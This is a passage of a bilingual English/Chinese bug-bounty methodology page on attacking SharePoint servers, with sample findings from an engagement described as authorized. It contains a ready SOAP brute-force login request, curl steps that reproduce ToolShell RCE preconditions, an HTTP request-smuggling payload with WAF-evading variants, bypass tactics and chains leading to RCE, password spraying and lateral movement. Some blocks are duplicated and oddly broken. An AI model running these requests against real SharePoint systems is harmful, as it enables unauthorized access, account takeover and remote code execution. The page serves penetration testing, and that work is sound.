        "https://target.example/_layouts/15/CustomerName/$sub/"
      # 301/302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path valid
    done
    JS bundle 通常包含硬编码的端点 URL、隐藏路由和内部 API 路径。应在携带适当
    Referer
    响应头的情况下获取每个文件(其中一些会校验 Referer)。
  9. 搜索服务探测。
    /_api/Search
    会匿名返回一个小型 JSON 描述符。如果 Search Service Application 未运行,
    /_api/search/query?querytext='X'
    会返回带有堆栈跟踪的 500 错误——这有助于披露基础设施,但不可直接利用。
  10. 登录后的认证攻击面(拥有有效凭据时):
    • /_api/web/Lists
      ——枚举列表
    • /_api/web/SiteUsers
      ——枚举用户
    • /_api/web/getfolderbyserverrelativeurl('/Shared Documents')/Files
      ——枚举文件
    • /_layouts/15/people.aspx
      ——用户列表
    • 客户定制品牌模块——检查 IDOR 和业务逻辑
    • Workflow Services(
      /_api/SP.WorkflowServices.*
      )

Payload & Detection Patterns

Payload 与检测模式

Authentication.asmx Login (the canonical brute-force endpoint):
xml
POST /_vti_bin/Authentication.asmx HTTP/1.1
Host: target.example
Content-Type: text/xml; charset=utf-8
SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Login
Content-Length: 376

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <Login xmlns="http://schemas.microsoft.com/sharepoint/soap/">
      <username>USERNAME</username>
      <password>PASSWORD</password>
    </Login>
  </soap:Body>
</soap:Envelope>
Response codes:
  • <ErrorCode>NoError</ErrorCode>
    → auth success;
    <CookieName>FedAuth</CookieName>
    and
    <TimeoutSeconds>...</TimeoutSeconds>
    follow
  • <ErrorCode>PasswordNotMatch</ErrorCode>
    → auth fail (uniform for non-existent users too — no enum leak via error string)
  • 500 +
    <faultstring>Value cannot be null. Parameter name: userName</faultstring>
    → empty username
ToolShell precondition reproduction:
bash
undefined
Authentication.asmx Login(规范的暴力破解端点):
xml
POST /_vti_bin/Authentication.asmx HTTP/1.1
Host: target.example
Content-Type: text/xml; charset=utf-8
SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Login
Content-Length: 376

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <Login xmlns="http://schemas.microsoft.com/sharepoint/soap/">
      <username>USERNAME</username>
      <password>PASSWORD</password>
    </Login>
  </soap:Body>
</soap:Envelope>
响应代码:
  • <ErrorCode>NoError</ErrorCode>
    → 认证成功;随后会出现
    <CookieName>FedAuth</CookieName>
    和
    <TimeoutSeconds>...</TimeoutSeconds>
  • <ErrorCode>PasswordNotMatch</ErrorCode>
    → 认证失败(对于不存在的用户,响应也保持一致,不会通过错误字符串泄露枚举信息)
  • 500 +
    <faultstring>Value cannot be null. Parameter name: userName</faultstring>
    → 用户名为空
ToolShell 前置条件复现:
bash
undefined

Step 1: anon GET ToolPane.aspx

Step 1: anon GET ToolPane.aspx

TP=$(curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit") echo "$TP" | grep -oE '__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="[^"]*"'
TP=$(curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit") echo "$TP" | grep -oE '__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="[^"]*"'

If value="" → precondition

If value="" → precondition

Step 2: anon FormDigest

Step 2: anon FormDigest

DIGEST=$(curl -sk -X POST "https://target.example/_api/contextinfo"
-H "Accept: application/json;odata=verbose"
| jq -r '.d.GetContextWebInformation.FormDigestValue') echo "Digest: ${DIGEST:0:40}..."
DIGEST=$(curl -sk -X POST "https://target.example/_api/contextinfo"
-H "Accept: application/json;odata=verbose"
| jq -r '.d.GetContextWebInformation.FormDigestValue') echo "Digest: ${DIGEST:0:40}..."

Step 3: anon POST ToolPane with digest

Step 3: anon POST ToolShell with digest

curl -sk -X POST -H "X-RequestDigest: $DIGEST"
--data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none"
"https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit"
-w "\ncode=%{http_code} size=%{size_download}\n"

**HTTP TE.CL smuggling on AWS ELB + SP IIS back-end** (consistent on SP farms behind AWS ELB):
POST /_layouts/15/blank.htm HTTP/1.1 Host: target.example Content-Length: 4 Transfer-Encoding: chunked
5c GPOST /404 HTTP/1.1 Host: x Content-Length: 15
x=1 0
Expected back-end hang: ~12 s vs ~0.16 s baseline (consistent across 5 trials). Obfuscation variants (`Transfer-Encoding : chunked`, `transfer-encoding: chunked`, trailing-space, mixed-case) produce a similar ~6 s hang.

**Picker.aspx SafeControl recon:**
```bash
curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=Microsoft.SharePoint.WebPartPages.DataFormWebPart&typeName=System.String" \
  | grep -oE "<title>[^<]+</title>"
curl -sk -X POST -H "X-RequestDigest: $DIGEST"
--data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none"
"https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit"
-w "\ncode=%{http_code} size=%{size_download}\n"

**AWS ELB + SP IIS 后端上的 HTTP TE.CL Smuggling**(在位于 AWS ELB 后面的 SP 农场中表现一致):
POST /_layouts/15/blank.htm HTTP/1.1 Host: target.example Content-Length: 4 Transfer-Encoding: chunked
5c GPOST /404 HTTP/1.1 Host: x Content-Length: 15
x=1 0
预期的后端挂起:约 12 秒,而基线约为 0.16 秒(在 5 次试验中结果一致)。混淆变体(`Transfer-Encoding : chunked`、`transfer-encoding: chunked`、尾随空格、大小写混用)会产生相似的约 6 秒挂起。

**Picker.aspx SafeControl 侦察:**
```bash
curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=Microsoft.SharePoint.WebPartPages.DataFormWebPart&typeName=System.String" \
  | grep -oE "<title>[^<]+</title>"

"Only PickerDialog types..." = exists, not whitelisted

"Only PickerDialog types..." = exists, not whitelisted

"Could not load type..." = does not exist

"Could not load type..." = does not exist


---

---

Common Root Causes

常见根因

  1. /_vti_bin/Authentication.asmx
    left enabled on the public-zone IIS binding.
    SharePoint admins enable Forms auth on a custom login UI and don't realise the legacy SOAP Login endpoint is independently reachable.
  2. viewStateEncryption="Auto"
    on layouts pages.
    SharePoint's default ViewState mode signs-only for pages without sensitive form fields. Pages like ToolPane.aspx have
    __VIEWSTATEENCRYPTED=""
    — exploitable if machineKey leaks.
  3. /_api/contextinfo
    POST accessible anonymously.
    SharePoint Online and SPE 2024-07+ require auth on contextinfo. Earlier versions and most SP2013 farms allow anonymous POST → FormDigest token returned with 1800s validity. This is the second ToolShell precondition.
  4. NTLM enabled on public-zone IIS binding. Default dual-auth (Forms + NTLM) leaves NTLM Negotiate available to anonymous internet users. Type-2 challenge leaks AD topology.
  5. SP2013 farms past EoL still internet-exposed. Microsoft extended support ended 2023-04-11. Every post-April-2023 SharePoint CVE is unpatched. Common in enterprise integrator scenarios (system-integrator inside corporate-parent AD, SI-managed dealer portals).
  6. <SafeControl>
    whitelist in web.config trusted as the only gate.
    Picker.aspx enforces an
    instanceof PickerDialog
    check, which is patched against the original CVE-2019-0604 vector — but the underlying SafeControl model itself is anonymously enumerable via the Picker.aspx error differential.
  7. AWS ELB + SP IIS without explicit Transfer-Encoding normalization. Default ELB forwards
    Transfer-Encoding
    to back-end IIS; IIS interprets
    Content-Length
    when both are present in a way that desyncs from ELB. Multiple TE-obfuscation variants bypass simple WAF rules.
  8. Default Windows-installer hostname (
    WIN-XXXXXXXXXXX
    ) never renamed.
    Signal of rushed provisioning; correlates with default service-account passwords on SQL backend, default farm-account passwords on Central Admin, etc.
  9. Custom-branding module (
    /_layouts/15/<Customer>/
    ) JS bundles loaded with
    ?v=YYYYMMDD
    query strings.
    The query string reveals last-modified date — useful for "this app is actively maintained" vs "this app is abandoned" determination.
  10. Cross-node ViewState MAC failures when AWS ELB doesn't pin session affinity to one WFE. Operationally broken (users hit 500s on every POST); security-wise broadcasts farm topology in error messages.

  1. /_vti_bin/Authentication.asmx
    在公共区域的 IIS binding 上保持启用。
    SharePoint 管理员在自定义登录 UI 上启用 Forms 认证,却没有意识到旧版 SOAP Login 端点仍可被独立访问。
  2. 布局页面采用
    viewStateEncryption="Auto"
    。
    对于不含敏感表单字段的页面,SharePoint 的默认 ViewState 模式为仅签名。ToolPane.aspx 等页面包含
    __VIEWSTATEENCRYPTED=""
    ——一旦 machineKey 泄露即可利用。
  3. /_api/contextinfo
    POST 可被匿名访问。
    SharePoint Online 和 SPE 2024-07+ 要求 contextinfo 身份认证。较早版本以及大多数 SP2013 农场允许匿名 POST,从而返回有效期为 1800 秒的 FormDigest token。这是 ToolShell 的第二个前置条件。
  4. 公共区域的 IIS binding 启用了 NTLM。 默认的双认证(Forms + NTLM)会让 NTLM Negotiate 对匿名互联网用户保持可用。Type-2 challenge 会泄露 AD 拓扑。
  5. EoL SP2013 农场仍暴露在互联网中。 Microsoft 扩展支持已于 2023-04-11 结束。2023 年 4 月之后发布的每个 SharePoint CVE 都未修补。在企业集成商场景中十分常见(位于企业父 AD 内部、由 SI 管理的经销商门户)。
  6. 将 web.config 中的
    <SafeControl>
    白名单视为唯一防线。
    Picker.aspx 会执行
    instanceof PickerDialog
    检查,该检查已针对原始 CVE-2019-0604 向量完成修补——但底层 SafeControl 模型仍可通过 Picker.aspx 的错误差异被匿名枚举。
  7. AWS ELB + SP IIS 缺少显式的 Transfer-Encoding 规范化。 默认 ELB 会将
    Transfer-Encoding
    转发给后端 IIS;当两者同时存在时,IIS 对
    Content-Length
    的解释会与 ELB 发生状态不同步。多种 TE 混淆变体可以绕过简单的 WAF 规则。
  8. 默认 Windows 安装程序主机名(
    WIN-XXXXXXXXXXX
    )从未更名。
    这是仓促部署的信号;同时也常与 SQL 后端默认服务账户密码、Central Admin 默认 farm 账户密码等因素相关。
  9. 自定义品牌模块(
    /_layouts/15/<Customer>/
    )的 JS bundle 带有
    ?v=YYYYMMDD
    查询字符串。
    该查询字符串会泄露最后修改日期,可用于判断“此应用仍在积极维护”还是“此应用已被放弃”。
  10. 当 AWS ELB 未将会话亲和性固定到单个 WFE 时,会发生跨节点 ViewState MAC 失败。 从运维角度看,这意味着系统已经损坏(用户每次 POST 都会收到 500 错误);从安全角度看,错误消息会暴露 farm 拓扑。

Bypass Techniques

绕过技术

DefenseBypass / Recon Strategy
Branded
customlogin.aspx
with lockout / CAPTCHA / MFA
/_vti_bin/Authentication.asmx
legacy SOAP — none of those protections apply
WWW-Authenticate: NTLM
requires authenticated callers
Default IIS
extendedProtection=None
lets you elicit the Type-2 challenge anonymously — see
hunt-ntlm-info
MicrosoftSharePointTeamServices
header stripped at ELB
Body of
/_layouts/15/start.aspx
leaks version anyway; also
/_api/contextinfo
's
LibraryVersion
/_vti_bin/lists.asmx
403 (SharedAccess.asmx / Authentication.asmx still open)
Different services have different ACLs; enumerate all asmx separately
/_api/web/CurrentUser
401 with stack-trace JSON
Stack traces leak even on auth-deny responses; combine with version disclosure
Anonymous
__REQUESTDIGEST
issued (ToolShell precondition)
Pair with anonymous ToolPane POST + unencrypted ViewState; the deserialization sink yields RCE without machineKey — machineKey is then dumped by the shell for persistent re-exploitation
Custom error pages setTrigger different code paths (XML-shaped ViewState → dual-parser error differential — see
hunt-aspnet
)
WAF blocks
<
in query
Move payload to Cookie / Referer / SOAP body — request validator doesn't reach those contexts
Microsoft.SharePoint.WebPartPages.DataFormWebPart
blocked via SafeControl patch
Enumerate SafeControl list; find a subclass that bypasses the inheritance gate
HTTP/2 H2.CL smugglingAWS ALBs often don't advertise
h2
ALPN — close that family early via
openssl s_client -alpn h2,http/1.1
Authenticate.aspx wraps
Source=
in ReturnUrl
Test post-auth behavior with valid creds; pre-auth chain wraps everything safely

防御措施绕过/侦察策略
带锁定策略/CAPTCHA/MFA 的品牌化
customlogin.aspx
旧版 SOAP
/_vti_bin/Authentication.asmx
——这些保护均不适用
WWW-Authenticate: NTLM
要求调用方通过身份认证
默认 IIS
extendedProtection=None
允许匿名触发 Type-2 challenge——参见
hunt-ntlm-info
MicrosoftSharePointTeamServices
响应头被 ELB 剥离
/_layouts/15/start.aspx
的正文仍会泄露版本;
/_api/contextinfo
的
LibraryVersion
同样可以泄露
/_vti_bin/lists.asmx
返回 403(SharedAccess.asmx/Authentication.asmx 仍然开放)
不同服务具有不同 ACL;应分别枚举所有 asmx 端点
/_api/web/CurrentUser
返回 401 和堆栈跟踪 JSON
即使认证拒绝响应也会泄露堆栈跟踪;可结合版本披露利用这一点
匿名签发
__REQUESTDIGEST
(ToolShell 前置条件)
将匿名 ToolPane POST 与未加密 ViewState 配对;反序列化汇点可在不知道 machineKey 的情况下产生 RCE——随后由 shell 转储 machineKey,用于持久化再次利用
自定义错误页面触发不同代码路径(XML 格式 ViewState → 双解析器错误差异——参见
hunt-aspnet
)
WAF 阻止查询参数中的
<
将 payload 移至 Cookie/Referer/SOAP body——请求验证器不会进入这些上下文
Microsoft.SharePoint.WebPartPages.DataFormWebPart
被 SafeControl 补丁阻止
枚举 SafeControl 列表;寻找能够绕过继承门控的子类
HTTP/2 H2.CL SmugglingAWS ALB 通常不会公布
h2
ALPN——可通过
openssl s_client -alpn h2,http/1.1
尽早排除该类攻击
Authenticate.aspx 将
Source=
包装进 ReturnUrl
使用有效凭据测试登录后行为;预认证链会安全地包装所有内容

Gate 0 Validation

Gate 0 验证

Before writing the report:
  1. What can the attacker DO right now?
    • Authentication.asmx anonymous + no rate limit → Critical (unbounded credential validation; password spray + UPN format from NTLM = end-to-end ATO path)
    • Full ToolShell precondition chain (anon GET + anon FormDigest + anon POST + unencrypted VS) + EoL SP2013 → Critical (RCE via well-documented public exploit chain, no patch will ship)
    • NTLM Type-2 AD topology disclosure + default-Windows hostname → Medium
    • SP2013 EoL alone → Medium-Low (compliance / hygiene; bug-bounty programs vary — some accept, many reject)
    • download.aspx
      URL echo without confirmed Collaborator callback → NOT SSRF — retract
  2. Have you reproduced the full chain to attacker-attainable impact?
    • For Authentication.asmx: 10-burst test with uniform timing (proves no rate limit) is sufficient. Don't actually crack a credential.
    • For ToolShell: precondition chain (steps a+b+c) is sufficient. Don't deliver a malicious payload.
    • For NTLM: AV-pair decode showing AD-topology fields is sufficient.
  3. Can you reproduce in <10 minutes from a clean shell?
    • Authentication.asmx: 2 curl commands.
    • ToolShell precondition: 3 curl commands.
    • NTLM Type-2: 1 Python snippet (the AV-pair decoder).

在编写报告之前:
  1. 攻击者现在能做什么?
    • Authentication.asmx 匿名访问 + 无速率限制 → Critical(无限制的凭据验证;密码喷洒 + 来自 NTLM 的 UPN 格式 = 端到端 ATO 路径)
    • 完整 ToolShell 前置条件链(匿名 GET + 匿名 FormDigest + 匿名 POST + 未加密 VS)+ EoL SP2013 → Critical(可通过公开且有文档记载的利用链实现 RCE,并且永远不会有补丁发布)
    • NTLM Type-2 AD 拓扑泄露 + 默认 Windows 主机名 → Medium
    • 仅存在 SP2013 EoL → Medium-Low(合规/卫生问题;漏洞赏金项目态度不一——有些接受,很多拒绝)
    • download.aspx
      回显 URL,但未确认 Collaborator 回调 → 不是 SSRF——应撤回
  2. 是否已复现可由攻击者实现的完整影响链?
    • 对于 Authentication.asmx:进行 10 轮突发测试并确认时序一致(证明没有速率限制)即可。不要实际破解凭据。
    • 对于 ToolShell:验证前置条件链(步骤 a+b+c)即可。不要投递恶意 payload。
    • 对于 NTLM:解码 AV pair 并显示 AD 拓扑字段即可。
  3. 能否在干净 shell 中于 10 分钟内复现?
    • Authentication.asmx:2 条 curl 命令。
    • ToolShell 前置条件:3 条 curl 命令。
    • NTLM Type-2:1 段 Python 代码(AV-pair 解码器)。

Real Impact Examples

真实影响示例

Scenario A — a authorized SharePoint engagement against an EoL on-prem farm

场景 A——一次针对 EoL 本地部署农场的授权 SharePoint 测试

Target:
https://target-portal.example/
— SharePoint Server 2013 build
15.0.5545.1000
(KB5002381 / final EoL April 2023 CU). Tenant = a system-integrator tenant (Swiss <ParentCorp> importer) inside a corporate global AD (
customer.parent-corp.example
). Server hostname
WIN-XXXXXXXXXXX
(default Windows installer pattern).
11 findings shipped: 3 Critical, 2 Medium, 6 Low/Info. The three Criticals:
  1. Authentication.asmx anonymous credential brute-force — 10-burst test showed uniform 0.6-0.9 s timing with no rate limit, no lockout, no CAPTCHA, no MFA challenge. Identical 431-byte responses.
  2. HTTP request smuggling TE.CL — 5/5 trials showed 12.18 s back-end hang vs 0.16 s baseline. 4 additional obfuscation variants (space-before-colon, trailing-space, lowercase, mixed-case) showed 6.16 s hang — each bypassing simple WAF rules.
  3. ToolShell precondition chain — anonymous GET ToolPane.aspx (200) + anonymous POST
    /_api/contextinfo
    (200, valid FormDigest) + anonymous POST ToolPane.aspx with digest (200, no auth challenge) +
    __VIEWSTATEENCRYPTED=""
    . Permanent zero-day on EoL SP2013.
Plus Medium-tier: NTLM Type-2 disclosure of full AD topology (
customer.parent-corp.example
,
WIN-XXXXXXXXXXX
); SP2013 EoL exposure.
目标:
https://target-portal.example/
——SharePoint Server 2013 build
15.0.5545.1000
(KB5002381 / 2023 年 4 月最终 EoL CU)。租户 = 企业系统集成商租户(瑞士
<ParentCorp>
进口商),位于企业全球 AD(
customer.parent-corp.example
)内。服务器主机名为
WIN-XXXXXXXXXXX
(默认 Windows 安装程序模式)。
共提交 11 个发现:3 个 Critical、2 个 Medium、6 个 Low/Info。三个 Critical 如下:
  1. Authentication.asmx 匿名凭据暴力破解——10 轮突发测试显示时序稳定在 0.6-0.9 秒,没有速率限制、锁定策略、CAPTCHA 或 MFA challenge。响应均为相同的 431 字节。
  2. HTTP Request Smuggling TE.CL——5/5 次试验均显示后端挂起 12.18 秒,而基线为 0.16 秒。另外 4 种混淆变体(冒号前空格、尾随空格、小写、大小写混用)显示约 6.16 秒挂起——每种都绕过了简单的 WAF 规则。
  3. ToolShell 前置条件链——匿名 GET ToolPane.aspx(200)+ 匿名 POST
    /_api/contextinfo
    (200,返回有效 FormDigest)+ 携带 digest 匿名 POST ToolPane.aspx(200,无身份认证 challenge)+
    __VIEWSTATEENCRYPTED=""
    。这是 EoL SP2013 上永久存在且无法修补的 zero-day。
Medium 级别发现还包括:通过 NTLM Type-2 披露完整 AD 拓扑(
customer.parent-corp.example
、
WIN-XXXXXXXXXXX
);SP2013 EoL 暴露。

Scenario B —
/_layouts/15/download.aspx?SourceUrl=
recognized correctly as NOT-SSRF (saved-time example)

场景 B——正确识别
/_layouts/15/download.aspx?SourceUrl=
为 NOT-SSRF(节省时间示例)

Same target. Initial scan flagged
download.aspx?SourceUrl=http://oob.example.com/
as SSRF because the server echoed the URL in the 500 error title (
"The Web application at http://oob.example.com/ could not be found"
). 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero DNS/HTTP callbacks. Conclusion:
download.aspx
is an SP-internal
SPWebApplication
/
SPFile
resolver, NOT a generic URL fetcher. The "echo" is server-side error-string formatting. Saved from reporting an N/A finding by following the
hunt-ssrf
OOB-Or-It-Didn't-Happen Gate.
目标同上。初始扫描将
download.aspx?SourceUrl=http://oob.example.com/
标记为 SSRF,因为服务器在 500 错误标题中回显了 URL(
"The Web application at http://oob.example.com/ could not be found"
)。跨 12 个以上接受 URL 的 SP 参数发送了 38 个带 Collaborator 标记的 payload,结果为零 DNS/HTTP 回调。结论:
download.aspx
是 SP 内部的
SPWebApplication
/
SPFile
解析器,而不是通用 URL 获取器。所谓“回显”只是服务端错误字符串格式化。遵循
hunt-ssrf
的 OOB-Or-It-Didn't-Happen Gate,避免提交不适用( N/A)的发现。

Scenario C — CVE-2019-0604 patch verification via Picker.aspx

场景 C——通过 Picker.aspx 验证 CVE-2019-0604 补丁状态

Same target. Feeding
Microsoft.SharePoint.WebPartPages.DataFormWebPart
(the canonical CVE-2019-0604 deserialization gadget) to Picker.aspx returned
"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site."
— meaning the type EXISTS and is reachable through reflection, but the dialog framework's
instanceof PickerDialog
patch correctly rejects it. The patch IS in place for the original CVE-2019-0604 vector. The class-existence enumeration itself becomes recon for any future CVE-2019-0604-family chain that doesn't go through the inheritance gate.

目标同上。将
Microsoft.SharePoint.WebPartPages.DataFormWebPart
(规范的 CVE-2019-0604 反序列化 gadget)输入 Picker.aspx 后,返回
"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site."
——这意味着该类型存在且可通过反射访问,但 dialog 框架的
instanceof PickerDialog
补丁会正确拒绝它。原始 CVE-2019-0604 向量的补丁已经部署。类存在性枚举本身会成为未来任何不经过继承门控的 CVE-2019-0604 家族攻击链的侦察线索。

Cross-references

交叉引用

  • Authentication.asmx legacy SOAP login → see
    hunt-auth-bypass
    Legacy-Protocol Matrix for the WordPress-XMLRPC equivalent pattern.
  • NTLM Type-2 AD-topology disclosure → see
    hunt-ntlm-info
    for AV-pair decoder + severity rubric.
  • ViewState dual-parser anti-pattern, machineKey recovery, request validator bypass → see
    hunt-aspnet
    .
  • HTTP request smuggling on AWS ELB + IIS → see
    hunt-http-smuggling
    .
  • OOB confirmation of any SSRF claim on SP → see
    hunt-ssrf
    OOB-Or-It-Didn't-Happen Gate.
  • Engagement-type confirmation before treating hygiene findings as bug-bounty submissions → see
    bb-methodology
    PART 0 Mode-Confirmation Gate.

  • Authentication.asmx 旧版 SOAP 登录→ 参见
    hunt-auth-bypass
    的 Legacy-Protocol Matrix,了解 WordPress XMLRPC 等价模式。
  • NTLM Type-2 AD 拓扑泄露→ 参见
    hunt-ntlm-info
    ,了解 AV-pair 解码器和严重性评级标准。
  • ViewState 双解析器反模式、machineKey 恢复、请求验证器绕过→ 参见
    hunt-aspnet
    。
  • AWS ELB + IIS 上的 HTTP Request Smuggling→ 参见
    hunt-http-smuggling
    。
  • 对任何 SharePoint SSRF 结论进行 OOB 确认→ 参见
    hunt-ssrf
    的 OOB-Or-It-Didn't-Happen Gate。
  • 在将卫生问题作为漏洞赏金提交之前确认测试类型→ 参见
    bb-methodology
    PART 0 Mode-Confirmation Gate。

Related Skills & Chains

相关 Skill 与攻击链

  • hunt-auth-bypass
    — Legacy SOAP
    /_vti_bin/Authentication.asmx
    accepts anonymous Login calls on misconfigured farms. Chain primitive: SharePoint anon SOAP login probe → if response yields cookie or success differential →
    hunt-auth-bypass
    brute-force matrix (username enumeration via timing, password spray with low-and-slow against the same SOAP endpoint that bypasses ADFS-level lockout) → valid cred →
    /_layouts/15/
    authenticated surface.
  • hunt-ntlm-info
    — Every SharePoint farm advertises
    WWW-Authenticate: NTLM
    anonymously on
    /_vti_bin/
    . Chain primitive: SharePoint NTLM Type-2 challenge capture →
    hunt-ntlm-info
    AV_PAIR decode yields NetBIOS domain + internal DNS forest + DC hostname → feed domain into
    m365-entra-attack
    ROPC user-enumeration spray on tenant tied to that domain.
  • hunt-aspnet
    — SharePoint is ASP.NET Webforms under the covers; ViewState, machineKey, and SafeControl reflection all apply. Chain primitive: SharePoint version disclosure → confirm patch level missing →
    hunt-aspnet
    ViewState dual-parser MAC-bypass → deserialization gadget → RCE in
    w3wp.exe
    as farm account.
  • hunt-rce
    — ToolShell precondition chain (CVE-2025-53770) is the current high-impact SP RCE path. Chain primitive: ToolShell preconditions met (
    /_layouts/15/ToolPane.aspx?DisplayMode=Edit
    reachable via the CVE-2025-49706 auth bypass — a crafted
    Referer
    header pointing at ToolPane.aspx — + version vulnerable) →
    hunt-rce
    deserialization gadget chain → SYSTEM/farm-account shell →
    m365-entra-attack
    lateral via stolen on-prem service-account token to Entra-synced identity.
  • triage-validation
    — SharePoint farms generate a lot of "looks like a finding" hygiene noise (FormDigest issuance, version disclosure, extension blocklist quirks). Chain primitive: run every SP finding through the 7-Question Gate before reporting — most version-disclosure-only findings die at "is this actually exploitable on this farm" without a paired CVE PoC.
  • hunt-auth-bypass
    ——在配置错误的农场上,旧版 SOAP
    /_vti_bin/Authentication.asmx
    接受匿名 Login 调用。链式原语:SharePoint 匿名 SOAP 登录探测 → 如果响应产生 cookie 或成功差异 →
    hunt-auth-bypass
    暴力破解矩阵(通过时序枚举用户名,针对同一 SOAP 端点执行低速 password spray,绕过 ADFS 层级锁定)→ 有效凭据 →
    /_layouts/15/
    认证后攻击面。
  • hunt-ntlm-info
    ——每个 SharePoint 农场都会在
    /_vti_bin/
    上匿名公布
    WWW-Authenticate: NTLM
    。链式原语:捕获 SharePoint NTLM Type-2 challenge →
    hunt-ntlm-info
    AV_PAIR 解码得到 NetBIOS 域 + 内部 DNS forest + DC 主机名 → 将域输入到
    m365-entra-attack
    ,对与该域关联的租户执行 ROPC 用户枚举喷洒。
  • hunt-aspnet
    ——SharePoint 底层是 ASP.NET Webforms;ViewState、machineKey 和 SafeControl 反射均适用。链式原语:SharePoint 版本披露 → 确认缺少补丁 →
    hunt-aspnet
    ViewState 双解析器 MAC 绕过 → 反序列化 gadget → 在
    w3wp.exe
    中以 farm 账户获得 RCE。
  • hunt-rce
    ——ToolShell 前置条件链(CVE-2025-53770)是当前影响最高的 SP RCE 路径。链式原语:满足 ToolShell 前置条件(
    /_layouts/15/ToolPane.aspx?DisplayMode=Edit
    可通过 CVE-2025-49706 认证绕过访问——即向 ToolPane.aspx 发送特制
    Referer
    响应头 + 版本存在漏洞)→
    hunt-rce
    反序列化 gadget 链 → SYSTEM/farm 账户 shell → 通过窃取的本地服务账户 token 对 Entra 同步身份进行横向移动,转入
    m365-entra-attack
    。
  • triage-validation
    ——SharePoint 农场会产生大量“看起来像发现”的卫生问题噪声(FormDigest 签发、版本披露、扩展名阻止列表异常)。链式原语:所有 SP 发现均先经过 7-Question Gate 再提交——大多数仅涉及版本披露的发现,都会因缺少配套的 CVE PoC 而止步于“这个农场上是否真的可利用”。